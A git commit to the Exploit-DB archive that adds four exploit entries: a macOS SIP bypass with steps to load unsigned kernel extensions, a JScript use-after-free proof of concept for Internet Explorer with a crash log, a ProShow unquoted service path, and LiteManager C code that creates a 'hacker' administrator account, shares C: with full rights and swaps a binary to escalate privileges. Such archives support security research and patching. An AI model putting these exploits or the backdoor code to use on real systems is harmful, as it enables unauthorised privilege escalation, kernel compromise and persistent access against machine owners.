DB: 2019-11-23
4 changes to exploits/shellcodes
Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback
ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path
LiteManager 4.5.0 - Insecure File Permissions
macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache
This commit is contained in:
Offensive Security
parent
58127b1f7c
commit
f1354b784a
5 changed files with 439 additions and 0 deletions
264
exploits/macos/local/47708.txt
Normal file
264
exploits/macos/local/47708.txt
Normal file
|
|
@ -0,0 +1,264 @@
|
|||
Tested on macOS Mojave (10.14.6, 18G87) and Catalina Beta (10.15 Beta 19A536g).
|
||||
|
||||
On macOS, the dyld shared cache (in /private/var/db/dyld/) is generated locally
|
||||
on the system and therefore doesn't have a real code signature;
|
||||
instead, SIP seems to be the only mechanism that prevents modifications of the
|
||||
dyld shared cache.
|
||||
update_dyld_shared_cache, the tool responsible for generating the shared cache,
|
||||
is able to write to /private/var/db/dyld/ because it has the
|
||||
com.apple.rootless.storage.dyld entitlement. Therefore, update_dyld_shared_cache
|
||||
is responsible for ensuring that it only writes data from trustworthy libraries
|
||||
when updating the shared cache.
|
||||
|
||||
update_dyld_shared_cache accepts two interesting command-line arguments that
|
||||
make it difficult to enforce these security properties:
|
||||
|
||||
- "-root": Causes libraries to be read from, and the cache to be written to, a
|
||||
caller-specified filesystem location.
|
||||
- "-overlay": Causes libraries to be read from a caller-specified filesystem
|
||||
location before falling back to normal system directories.
|
||||
|
||||
There are some checks related to this, but they don't look very effective.
|
||||
main() tries to see whether the target directory is protected by SIP:
|
||||
|
||||
bool requireDylibsBeRootlessProtected = isProtectedBySIP(cacheDir);
|
||||
|
||||
If that variable is true, update_dyld_shared_cache attempts to ensure that all
|
||||
source libraries are also protected by SIP.
|
||||
|
||||
isProtectedBySIP() is implemented as follows:
|
||||
|
||||
bool isProtectedBySIP(const std::string& path)
|
||||
{
|
||||
if ( !sipIsEnabled() )
|
||||
return false;
|
||||
|
||||
return (rootless_check_trusted(path.c_str()) == 0);
|
||||
}
|
||||
|
||||
Ignoring that this looks like a typical symlink race issue, there's another
|
||||
problem:
|
||||
|
||||
Looking in a debugger (with SIP configured so that only debugging restrictions
|
||||
and dtrace restrictions are disabled), it seems like rootless_check_trusted()
|
||||
doesn't work as expected:
|
||||
|
||||
bash-3.2# lldb /usr/bin/update_dyld_shared_cache
|
||||
[...]
|
||||
(lldb) breakpoint set --name isProtectedBySIP(std::__1::basic_string<char,\ std::__1::char_traits<char>,\ std::__1::allocator<char>\ >\ const&)
|
||||
Breakpoint 1: where = update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), address = 0x00000001000433a4
|
||||
[...]
|
||||
(lldb) run -force
|
||||
Process 457 launched: '/usr/bin/update_dyld_shared_cache' (x86_64)
|
||||
Process 457 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
frame #0: 0x00000001000433a4 update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)
|
||||
update_dyld_shared_cache`isProtectedBySIP:
|
||||
-> 0x1000433a4 <+0>: pushq %rbp
|
||||
0x1000433a5 <+1>: movq %rsp, %rbp
|
||||
0x1000433a8 <+4>: pushq %rbx
|
||||
0x1000433a9 <+5>: pushq %rax
|
||||
Target 0: (update_dyld_shared_cache) stopped.
|
||||
(lldb) breakpoint set --name rootless_check_trusted
|
||||
Breakpoint 2: where = libsystem_sandbox.dylib`rootless_check_trusted, address = 0x00007fff5f32b8ea
|
||||
(lldb) continue
|
||||
Process 457 resuming
|
||||
Process 457 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
|
||||
frame #0: 0x00007fff5f32b8ea libsystem_sandbox.dylib`rootless_check_trusted
|
||||
libsystem_sandbox.dylib`rootless_check_trusted:
|
||||
-> 0x7fff5f32b8ea <+0>: pushq %rbp
|
||||
0x7fff5f32b8eb <+1>: movq %rsp, %rbp
|
||||
0x7fff5f32b8ee <+4>: movl $0xffffffff, %esi ; imm = 0xFFFFFFFF
|
||||
0x7fff5f32b8f3 <+9>: xorl %edx, %edx
|
||||
Target 0: (update_dyld_shared_cache) stopped.
|
||||
(lldb) print (char*)$rdi
|
||||
(char *) $0 = 0x00007ffeefbff171 "/private/var/db/dyld/"
|
||||
(lldb) finish
|
||||
Process 457 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = step out
|
||||
|
||||
frame #0: 0x00000001000433da update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) + 54
|
||||
update_dyld_shared_cache`isProtectedBySIP:
|
||||
-> 0x1000433da <+54>: testl %eax, %eax
|
||||
0x1000433dc <+56>: sete %al
|
||||
0x1000433df <+59>: addq $0x8, %rsp
|
||||
0x1000433e3 <+63>: popq %rbx
|
||||
Target 0: (update_dyld_shared_cache) stopped.
|
||||
(lldb) print $rax
|
||||
(unsigned long) $1 = 1
|
||||
|
||||
Looking around with a little helper (under the assumption that it doesn't behave
|
||||
differently because it doesn't have the entitlement), it looks like only a small
|
||||
part of the SIP-protected directories show up as protected when you check with
|
||||
rootless_check_trusted():
|
||||
|
||||
bash-3.2# cat rootless_test.c
|
||||
#include <stdio.h>
|
||||
|
||||
int rootless_check_trusted(char *);
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int res = rootless_check_trusted(argv[1]);
|
||||
printf("rootless status for '%s': %d (%s)\n", argv[1], res, (res == 0) ? "PROTECTED" : "MALLEABLE");
|
||||
}
|
||||
bash-3.2# ./rootless_test /
|
||||
rootless status for '/': 1 (MALLEABLE)
|
||||
bash-3.2# ./rootless_test /System
|
||||
rootless status for '/System': 0 (PROTECTED)
|
||||
bash-3.2# ./rootless_test /System/
|
||||
rootless status for '/System/': 0 (PROTECTED)
|
||||
bash-3.2# ./rootless_test /System/Library
|
||||
rootless status for '/System/Library': 0 (PROTECTED)
|
||||
bash-3.2# ./rootless_test /System/Library/Assets
|
||||
rootless status for '/System/Library/Assets': 1 (MALLEABLE)
|
||||
bash-3.2# ./rootless_test /System/Library/Caches
|
||||
rootless status for '/System/Library/Caches': 1 (MALLEABLE)
|
||||
bash-3.2# ./rootless_test /System/Library/Caches/com.apple.kext.caches
|
||||
rootless status for '/System/Library/Caches/com.apple.kext.caches': 1 (MALLEABLE)
|
||||
bash-3.2# ./rootless_test /usr
|
||||
rootless status for '/usr': 0 (PROTECTED)
|
||||
bash-3.2# ./rootless_test /usr/local
|
||||
rootless status for '/usr/local': 1 (MALLEABLE)
|
||||
bash-3.2# ./rootless_test /private
|
||||
rootless status for '/private': 1 (MALLEABLE)
|
||||
bash-3.2# ./rootless_test /private/var/db
|
||||
rootless status for '/private/var/db': 1 (MALLEABLE)
|
||||
bash-3.2# ./rootless_test /private/var/db/dyld/
|
||||
rootless status for '/private/var/db/dyld/': 1 (MALLEABLE)
|
||||
bash-3.2# ./rootless_test /sbin
|
||||
rootless status for '/sbin': 0 (PROTECTED)
|
||||
bash-3.2# ./rootless_test /Applications/Mail.app/
|
||||
rootless status for '/Applications/Mail.app/': 0 (PROTECTED)
|
||||
bash-3.2#
|
||||
|
||||
Perhaps rootless_check_trusted() limits its trust to paths that are writable
|
||||
exclusively using installer entitlements like com.apple.rootless.install, or
|
||||
something like that? That's the impression I get when testing different entries
|
||||
from /System/Library/Sandbox/rootless.conf - the entries with no whitelisted
|
||||
specific entitlement show up as protected, the ones with a whitelisted specific
|
||||
entitlement show up as malleable.
|
||||
rootless_check_trusted() checks for the "file-write-data" permission through the
|
||||
MAC syscall, but I haven't looked in detail at how the policy actually looks.
|
||||
|
||||
(By the way, looking at update_dyld_shared_cache, I'm not sure whether it would
|
||||
actually work if the requireDylibsBeRootlessProtected flag is true - it looks
|
||||
like addIfMachO() would never add any libraries to dylibsForCache because
|
||||
`sipProtected` is fixed to `false` and the call to isProtectedBySIP() is
|
||||
commented out?)
|
||||
|
||||
|
||||
In theory, this means it's possible to inject a modified version of a library
|
||||
into the dyld cache using either the -root or the -overlay flag of
|
||||
update_dyld_shared_cache, reboot, and then run an entitled binary that will use
|
||||
the modified library. However, there are (non-security) checks that make this
|
||||
annoying:
|
||||
|
||||
- When loading libraries, loadPhase5load() checks whether the st_ino and
|
||||
st_mtime of the on-disk library match the ones embedded in the dyld cache at
|
||||
build time.
|
||||
- Recently, dyld started ensuring that the libraries are all on the "boot
|
||||
volume" (the path specified with "-root", or "/" if no root was specified).
|
||||
|
||||
The inode number check means that it isn't possible to just create a malicious
|
||||
copy of a system library, run `update_dyld_shared_cache -overlay`, and reboot to
|
||||
use the malicious copy; the modified library will have a different inode number.
|
||||
I don't know whether HFS+ reuses inode numbers over time, but on APFS, not even
|
||||
that is possible; inode numbers are monotonically incrementing 64-bit integers.
|
||||
|
||||
Since root (and even normal users) can mount filesystem images, I decided to
|
||||
create a new filesystem with appropriate inode numbers.
|
||||
I think HFS probably can't represent the full range of inode numbers that APFS
|
||||
can have (and that seem to show up on volumes that have been converted from
|
||||
HFS+ - that seems to result in inode numbers like 0x0fffffff00001666), so I
|
||||
decided to go with an APFS image. Writing code to craft an entire APFS
|
||||
filesystem would probably take quite some time, and the public open-source APFS
|
||||
implementations seem to be read-only, so I'm first assembling a filesystem image
|
||||
normally (create filesystem with newfs_apfs, mount it, copy files in, unmount),
|
||||
then renumbering the inodes. By storing files in the right order, I don't even
|
||||
need to worry about allocating and deallocating space in tree nodes and
|
||||
such - all replacements can be performed in-place.
|
||||
|
||||
My PoC patches the cached version of csr_check() from libsystem_kernel.dylib so
|
||||
that it always returns zero, which causes the userspace kext loading code to
|
||||
ignore code signing errors.
|
||||
|
||||
|
||||
To reproduce:
|
||||
|
||||
- Ensure that SIP is on.
|
||||
- Ensure that you have at least something like 8GiB of free disk space.
|
||||
- Unpack the attached dyld_sip.tar (as normal user).
|
||||
- Run ./collect.sh (as normal user). This should take a couple minutes, with
|
||||
more or less continuous status updates. At the end, it should say "READY"
|
||||
after mounting an image to /private/tmp/L.
|
||||
(If something goes wrong here and you want to re-run the script, make sure to
|
||||
detach the volume if the script left it attached - check "hdiutil info".)
|
||||
- As root, run "update_dyld_shared_cache -force -root /tmp/L".
|
||||
- Reboot the machine.
|
||||
- Build an (unsigned) kext from source. I have attached source code for a
|
||||
sample kext as testkext.tar - you can unpack it and use xcodebuild -, but
|
||||
that's just a simple "hello world" kext, you could also use anything else.
|
||||
- As root, copy the kext to /tmp/.
|
||||
- As root, run "kextutil /tmp/[...].kext". You should see something like this:
|
||||
|
||||
bash-3.2# cp -R testkext/build/Release/testkext.kext /tmp/ && kextutil /tmp/testkext.kext
|
||||
Kext with invalid signatured (-67050) allowed: <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
|
||||
Code Signing Failure: code signature is invalid
|
||||
Disabling KextAudit: SIP is off
|
||||
Invalid signature -67050 for kext <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
|
||||
bash-3.2# dmesg|tail -n1
|
||||
test kext loaded
|
||||
bash-3.2# kextstat | grep test
|
||||
120 0 0xffffff7f82a50000 0x2000 0x2000 net.thejh.test.testkext (1) A24473CD-6525-304A-B4AD-B293016E5FF0 <5>
|
||||
bash-3.2#
|
||||
|
||||
|
||||
Miscellaneous notes:
|
||||
|
||||
- It looks like there's an OOB kernel write in the dyld shared cache pager; but
|
||||
AFAICS that isn't reachable unless you've already defeated SIP, so I don't
|
||||
think it's a vulnerability:
|
||||
vm_shared_region_slide_page_v3() is used when a page from the dyld cache is
|
||||
being paged in. It essentially traverses a singly-linked list of relocations
|
||||
inside the page; the offset of the first relocation (iow the offset of the
|
||||
list head) is stored permanently in kernel memory when the shared cache is
|
||||
initialized.
|
||||
As far as I can tell, this function is missing bounds checks; if either the
|
||||
starting offset or the offset stored in the page being paged in points
|
||||
outside the page, a relocation entry will be read from OOB memory, and a
|
||||
relocated address will conditionally be written back to the same address.
|
||||
- There is a check `rootPath != "/"` in update_dyld_shared_cache; but further
|
||||
up is this:
|
||||
|
||||
// canonicalize rootPath
|
||||
if ( !rootPath.empty() ) {
|
||||
char resolvedPath[PATH_MAX];
|
||||
if ( realpath(rootPath.c_str(), resolvedPath) != NULL ) {
|
||||
rootPath = resolvedPath;
|
||||
}
|
||||
// <rdar://problem/33223984> when building closures for boot volume, pathPrefixes should be empty
|
||||
if ( rootPath == "/" ) {
|
||||
rootPath = "";
|
||||
}
|
||||
}
|
||||
|
||||
So as far as I can tell, that condition is always true, which means that when
|
||||
an overlay path is specified with `-overlay`, the cache is written to the
|
||||
root even though the code looks as if the cache is intended to be written to
|
||||
the overlay.
|
||||
- Some small notes regarding the APFS documentation at
|
||||
<https://developer.apple.com/support/downloads/Apple-File-System-Reference.pdf>:
|
||||
- The typedef for apfs_superblock_t is missing.
|
||||
- The documentation claims that APFS_TYPE_DIR_REC keys are j_drec_key_t, but
|
||||
actually they can be j_drec_hashed_key_t.
|
||||
- The documentation claims that o_cksum is "The Fletcher 64 checksum of the
|
||||
object", but actually APFS requires that the fletcher64 checksum of all data
|
||||
behind the checksum concatenated with the checksum is zero.
|
||||
(In other words, you cut out the checksum field at the start, append it at
|
||||
the end, then run fletcher64 over the buffer, and then you have to get an
|
||||
all-zeroes checksum.)
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47708.zip
|
||||
108
exploits/windows/dos/47707.txt
Normal file
108
exploits/windows/dos/47707.txt
Normal file
|
|
@ -0,0 +1,108 @@
|
|||
There is a use-after-free issue in JSCript (triggerable via Internet Explorer) where the members of the 'arguments' object aren't tracked by the garbage collector during the 'toJSON' callback. Thus, during the 'toJSON' callback, it is possible to assign a variable to the 'arguments' object, have it garbage-collected (as long as it is not referenced anywhere else) and still access it later. Note that, like in some previously reported JSCript issues, this is a use-after-free on a JSCript variable (VAR structure), so in order to trigger a crash, the entire block of variables must be freed.
|
||||
|
||||
PoC for Internet Explorer is below. I tested it on multiple Windows version with the latest security patches applied.
|
||||
|
||||
===========================================================
|
||||
|
||||
<!-- saved from url=(0014)about:internet -->
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
|
||||
<script language="Jscript.Encode">
|
||||
var spray = new Array();
|
||||
|
||||
function F() {
|
||||
alert('callback');
|
||||
|
||||
// 2. Create a bunch of objects
|
||||
for (var i = 0; i < 20000; i++) spray[i] = new Object();
|
||||
|
||||
// 3. Store a reference to one of them in the arguments array
|
||||
// The arguments array isn't tracked by garbage collector
|
||||
arguments[0] = spray[5000];
|
||||
|
||||
// 4. Delete the objects and call the garbage collector
|
||||
// All JSCript variables get reclaimed...
|
||||
for (var i = 0; i < 20000; i++) spray[i] = 1;
|
||||
CollectGarbage();
|
||||
|
||||
// 5. But we still have reference to one of them in the
|
||||
// arguments array
|
||||
alert(arguments[0]);
|
||||
}
|
||||
|
||||
// 1. Cause toJSON callback to fire
|
||||
var o = {toJSON:F}
|
||||
JSON.stringify(o);
|
||||
|
||||
alert('done');
|
||||
|
||||
</script>
|
||||
|
||||
===========================================================
|
||||
|
||||
|
||||
Debug log:
|
||||
|
||||
===========================================================
|
||||
|
||||
(1cf4.154): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=00000080 ebx=05ecc218 ecx=00000080 edx=00000001 esi=05f0c3c8 edi=05fb12e8
|
||||
eip=6e25f52a esp=05ecc180 ebp=05ecc1b4 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
|
||||
jscript!PrepareInvoke+0x12a:
|
||||
6e25f52a 0fb707 movzx eax,word ptr [edi] ds:002b:05fb12e8=????
|
||||
|
||||
0:009> k
|
||||
# ChildEBP RetAddr
|
||||
00 05ecc1b4 6e262b75 jscript!PrepareInvoke+0x12a
|
||||
01 05ecc2a8 6e2660ee jscript!VAR::InvokeByDispID+0x1c5
|
||||
02 05ecc4a0 6e26244a jscript!CScriptRuntime::Run+0x2e4e
|
||||
03 05ecc594 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa
|
||||
04 05ecc5ec 6e25bec9 jscript!ScrFncObj::Call+0x81
|
||||
05 05ecc68c 6e262aed jscript!NameTbl::InvokeInternal+0x399
|
||||
06 05ecc78c 6e2a862c jscript!VAR::InvokeByDispID+0x13d
|
||||
07 05ecc800 6e2a8c2e jscript!GCProtectKeyAndCall+0xed
|
||||
08 05ecc898 6e2a93ce jscript!JSONApplyFilters+0x125
|
||||
09 05ecc90c 6e2ad9a2 jscript!JSONStringifyObject+0xac
|
||||
0a 05ecc9b4 6e269e3a jscript!JsJSONStringify+0x382
|
||||
0b 05ecca1c 6e25bec9 jscript!NatFncObj::Call+0xea
|
||||
0c 05eccabc 6e25e476 jscript!NameTbl::InvokeInternal+0x399
|
||||
0d 05eccc78 6e262aa5 jscript!VAR::InvokeByName+0x8f6
|
||||
0e 05eccd70 6e2660ee jscript!VAR::InvokeByDispID+0xf5
|
||||
0f 05eccf68 6e26244a jscript!CScriptRuntime::Run+0x2e4e
|
||||
10 05ecd05c 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa
|
||||
11 05ecd0b4 6e257124 jscript!ScrFncObj::Call+0x81
|
||||
12 05ecd170 6e257f75 jscript!CSession::Execute+0x314
|
||||
13 05ecd1d0 6e256c83 jscript!COleScript::ExecutePendingScripts+0x2d5
|
||||
14 05ecd274 6e2569b9 jscript!COleScript::ParseScriptTextCore+0x2c3
|
||||
15 05ecd2a0 70209251 jscript!COleScript::ParseScriptText+0x29
|
||||
16 05ecd2d8 70122a27 MSHTML!CActiveScriptHolder::ParseScriptText+0x51
|
||||
17 05ecd348 70121fe2 MSHTML!CScriptCollection::ParseScriptText+0x182
|
||||
18 05ecd434 701226ee MSHTML!CScriptData::CommitCode+0x312
|
||||
19 05ecd4b0 7012153a MSHTML!CScriptData::Execute+0x1ba
|
||||
1a 05ecd4d0 701e99b6 MSHTML!CHtmScriptParseCtx::Execute+0xaa
|
||||
1b 05ecd524 70159c7d MSHTML!CHtmParseBase::Execute+0x186
|
||||
1c 05ecd544 70159599 MSHTML!CHtmPost::Broadcast+0xfd
|
||||
1d 05ecd66c 7017647d MSHTML!CHtmPost::Exec+0x339
|
||||
1e 05ecd68c 70176376 MSHTML!CHtmPost::Run+0x3d
|
||||
1f 05ecd6ac 70176308 MSHTML!PostManExecute+0x60
|
||||
20 05ecd6c0 70176279 MSHTML!PostManResume+0x6f
|
||||
21 05ecd6f0 70208447 MSHTML!CHtmPost::OnDwnChanCallback+0x39
|
||||
22 05ecd708 7015be1d MSHTML!CDwnChan::OnMethodCall+0x27
|
||||
23 05ecd780 702f1207 MSHTML!GlobalWndOnMethodCall+0x1bd
|
||||
24 05ecd7d0 7015c5a2 MSHTML!GlobalWndProc_SEH+0x317
|
||||
25 05ecd7ec 7562624b MSHTML!GlobalWndProc+0x52
|
||||
26 05ecd818 756174dc USER32!_InternalCallWinProc+0x2b
|
||||
27 05ecd8fc 7561661b USER32!UserCallWinProcCheckWow+0x3ac
|
||||
28 05ecd970 756163f0 USER32!DispatchMessageWorker+0x21b
|
||||
29 05ecd97c 717e6456 USER32!DispatchMessageW+0x10
|
||||
2a 05ecfb0c 717e73e3 IEFRAME!CTabWindow::_TabWindowThreadProc+0xa36
|
||||
2b 05ecfbcc 7223df6c IEFRAME!LCIETab_ThreadProc+0x403
|
||||
2c 05ecfbe4 7130289d msIso!_IsoThreadProc_WrapperToReleaseScope+0x1c
|
||||
2d 05ecfc1c 75520419 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d
|
||||
2e 05ecfc2c 7789662d KERNEL32!BaseThreadInitThunk+0x19
|
||||
2f 05ecfc88 778965fd ntdll!__RtlUserThreadStart+0x2f
|
||||
30 05ecfc98 00000000 ntdll!_RtlUserThreadStart+0x1b
|
||||
|
||||
===========================================================
|
||||
25
exploits/windows/local/47705.txt
Normal file
25
exploits/windows/local/47705.txt
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
#Exploit Title: ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path
|
||||
#Exploit Author : ZwX
|
||||
#Exploit Date: 2019-11-21
|
||||
#Vendor Homepage : http://www.photodex.com/
|
||||
#Link Software : http://files.photodex.com/release/pspro_90_3797.exe
|
||||
#Tested on OS: Windows 7
|
||||
|
||||
|
||||
#Analyze PoC :
|
||||
==============
|
||||
|
||||
|
||||
C:\Users\ZwX>sc qc ScsiAccess
|
||||
[SC] QueryServiceConfig réussite(s)
|
||||
|
||||
SERVICE_NAME: ScsiAccess
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 2 AUTO_START
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files\Photodex\ProShow Producer\ScsiAccess.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : ScsiAccess
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
38
exploits/windows/local/47706.txt
Normal file
38
exploits/windows/local/47706.txt
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# Exploit Title: LiteManager 4.5.0 - Insecure File Permissions
|
||||
# Exploit Author: ZwX
|
||||
# Exploit Date: 2019-11-21
|
||||
# Vendor Homepage : LiteManager Team
|
||||
# Software Link: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support
|
||||
# Tested on OS: Windows 7
|
||||
|
||||
|
||||
# Proof of Concept (PoC):
|
||||
==========================
|
||||
|
||||
|
||||
C:\Program Files\LiteManagerFree - Server>icacls *.exe
|
||||
ROMFUSClient.exe Everyone:(F)
|
||||
AUTORITE NT\Système:(I)(F)
|
||||
BUILTIN\Administrateurs:(I)(F)
|
||||
BUILTIN\Utilisateurs:(I)(RX)
|
||||
|
||||
|
||||
#Exploit code(s):
|
||||
=================
|
||||
|
||||
1) Compile below 'C' code name it as "ROMFUSClient.exe"
|
||||
|
||||
#include<windows.h>
|
||||
|
||||
int main(void){
|
||||
system("net user hacker abc123 /add");
|
||||
system("net localgroup Administrators hacker /add");
|
||||
system("net share SHARE_NAME=c:\ /grant:hacker,full");
|
||||
WinExec("C:\\Program Files\\LiteManagerFree\\~ROMFUSClient.exe",0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
2) Rename original "ROMFUSClient.exe" to "~ROMFUSClient.exe"
|
||||
3) Place our malicious "ROMFUSClient.exe" in the LiteManagerFree directory
|
||||
4) Disconnect and wait for a more privileged user to connect and use ROMFUSClient IDE.
|
||||
Privilege Successful Escalation
|
||||
|
|
@ -6604,6 +6604,7 @@ id,file,description,date,author,type,platform,port
|
|||
47692,exploits/linux/dos/47692.txt,"Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path",2019-11-20,"Google Security Research",dos,linux,
|
||||
47693,exploits/linux/dos/47693.txt,"Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs",2019-11-20,"Google Security Research",dos,linux,
|
||||
47694,exploits/ios/dos/47694.txt,"iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd",2019-11-20,"Google Security Research",dos,ios,
|
||||
47707,exploits/windows/dos/47707.txt,"Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback",2019-11-22,"Google Security Research",dos,windows,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -10796,6 +10797,9 @@ id,file,description,date,author,type,platform,port
|
|||
47696,exploits/windows/local/47696.rb,"Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit)",2019-11-20,Metasploit,local,windows,
|
||||
47701,exploits/unix/local/47701.rb,"Xorg X11 Server - Local Privilege Escalation (Metasploit)",2019-11-20,Metasploit,local,unix,
|
||||
47703,exploits/linux/local/47703.txt,"GNU Mailutils 3.7 - Privilege Escalation",2019-11-21,"Mike Gualtieri",local,linux,
|
||||
47705,exploits/windows/local/47705.txt,"ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path",2019-11-22,ZwX,local,windows,
|
||||
47706,exploits/windows/local/47706.txt,"LiteManager 4.5.0 - Insecure File Permissions",2019-11-22,ZwX,local,windows,
|
||||
47708,exploits/macos/local/47708.txt,"macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache",2019-11-22,"Google Security Research",local,macos,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue